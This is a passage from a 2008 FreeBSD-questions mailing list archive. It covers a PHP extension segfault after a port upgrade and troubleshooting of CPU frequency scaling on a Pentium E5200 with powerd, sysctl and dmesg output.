YMMV After the portupgrade php -v (I run php as fastcgi) segfaulted. I ran the "reorder extensions.ini" script and it then complained about sqlite.so. Since I don't use that I just commented it out of extensions.ini. In case anyone else sees the same. -Mike From gesbbb at yahoo.com Tue Dec 9 04:05:46 2008 From: gesbbb at yahoo.com (Jerry) Date: Tue Dec 9 04:05:53 2008 Subject: PHP 5 | pcre extention In-Reply-To: <57200BF94E69E54880C9BB1AF714BBCB5DE33C@w2003s01.double-l.local> References: <493D0D11.5010605@webrz.net> <57200BF94E69E54880C9BB1AF714BBCB5DE33C@w2003s01.double-l.local> Message-ID: <20081209070535.42356a24@scorpio> On Mon, 8 Dec 2008 13:10:49 +0100 "Johan Hendriks" wrote: >No idea but do not use 5.2.7 because of a security issue (see php.net) >So stick to 5.2.6 till 5.2.8 is released. It is all ready in ports. -- Jerry gesbbb@yahoo.com Chemicals, n.: Noxious substances from which modern foods are made. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081209/9ac42f88/signature.pgp From glavoie at gmail.com Tue Dec 9 04:16:11 2008 From: glavoie at gmail.com (Gabriel Lavoie) Date: Tue Dec 9 04:16:19 2008 Subject: Intel Pentium Dual Core E5200 and Enhanced Speedstep In-Reply-To: <20081209163440.J94168@sola.nimnet.asn.au> References: <20081209030117.BDE66106575E@hub.freebsd.org> <20081209163440.J94168@sola.nimnet.asn.au> Message-ID: 2008/12/9 Ian Smith > On Mon, 8 Dec 2008 13:37:09 -0500 Gabriel Lavoie > wrote: > > > I have a small problem/question about my Pentium Dual Core E5200. I > > have this system running as a server since 1 month and I just noticed > > that the CPU frequency may not be running at the highest speed. With > > my other computer that has a Core 2 Duo, I noticed that under Windows > > and Linux, the CPU frequency steps down at 2 GHz when the CPU is idle > > and increases at 2.66 GHz when the CPU is under load. With this > > FreeBSD Pentium Dual Core, I just noticed using sysctl that the > > frequency after booting the system is at 1.25 GHz and it doesn't go > > up automatically at 2.5 GHz under load. > > > > dev.cpu.0.freq: 1254 > > dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 > > 627/-1 313/-1 > > > > If I do "sysctl dev.cpu.0.freq=2508", the frequency gets changed: > > > > [root@headless /home/wildchild]# sysctl dev.cpu.0.freq=2508 > > dev.cpu.0.freq: 1254 -> 2508 > > [root@headless /home/wildchild]# sysctl -a | grep cpu.0.freq > > dev.cpu.0.freq: 2508 > > dev.cpu.0.freq_levels: 2508/-1 2194/-1 1881/-1 1567/-1 1254/-1 940/-1 > > 627/-1 313/-1 > > > > Why isn't the frequency isn't increased automatically under load? And > > why is it at 1.254 GHz after boot and not at the maximum frequency? > > It seems you are not running powerd, which is what monitors the load and > adjusts frequency. Add powerd_enable="YES" to rc.conf and either reboot > or just run '/etc/rc.d/powerd start' (or run powerd -v in a terminal to > verify that it's shifting freqs according to your load requirements) Will check about that. > > > Speculation on the second matter below .. > > > Another thing I noticed with "dmesg" is the following error (CPU > > supports Enhanced Speedstep, but is not recognized.): > > Which FreeBSD version? (uname -a) [wildchild@headless ~]$ uname -a FreeBSD headless.mutehq.net 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #0: Mon Nov 24 10:59:10 UTC 2008 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 > > > > cpu0: on acpi0 > > ACPI Warning (tbutils-0243): Incorrect checksum in table [OEMB] - D, > > should be 8 [20070320] > > This looks ungood. You maybe should quote the earlier dmesgs re ACPI > too. This sounds like an issue to take to the acpi@freebsd.org list. Hum, about ACPI, if I remember well, there is a BIOS option to enable/disable ACPI 2 tables. I will take a look at that. > > > > est0: on cpu0 > > est: CPU supports Enhanced Speedstep, but is not recognized. > > est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 > > device_attach: est0 attach returned 6 > > 6 = fail. Either bad vendor ACPI (you've not mentioned what vendor or > model) or maybe an older FreeBSD version than would recognise your cpu > revision; you may need to run 7-STABLE or a 7.1 beta; dunno about 6.4. > > Either way, EST isn't functioning, or you'd have a larger range of freqs > available than these eight, and milliWatt figures instead of those -1. > There's no sign of 2.66GHz either, if that's expected? 2.66 GHz isn't expected, the CPU is an Intel Pentium Dual Core E5200 @ 2.5 GHz. It's one of the newest 45nm CPUs that were released in August 2008. The motherboard is an ASUS P5KPL-CM and the BIOS is updated to the latest version. > > > > p4tcc0: on cpu0 > > p4tcc attached ok. That's what provides the 8 freqs you have, in 12.5% > steps from 8/8 downto 1/8 of the base freq. While this helps control > temperature it's not as effective as EST (which also modifies cpu core > voltage) for managing power use, so you need to locate that problem. > > > cpu1: on acpi0 > > est1: on cpu1 > > est: CPU supports Enhanced Speedstep, but is not recognized. > > est: cpu_vendor GenuineIntel, msr 61a4c2006004c20 > > device_attach: est1 attach returned 6 > > Ditto, and presumably you have a p4tcc1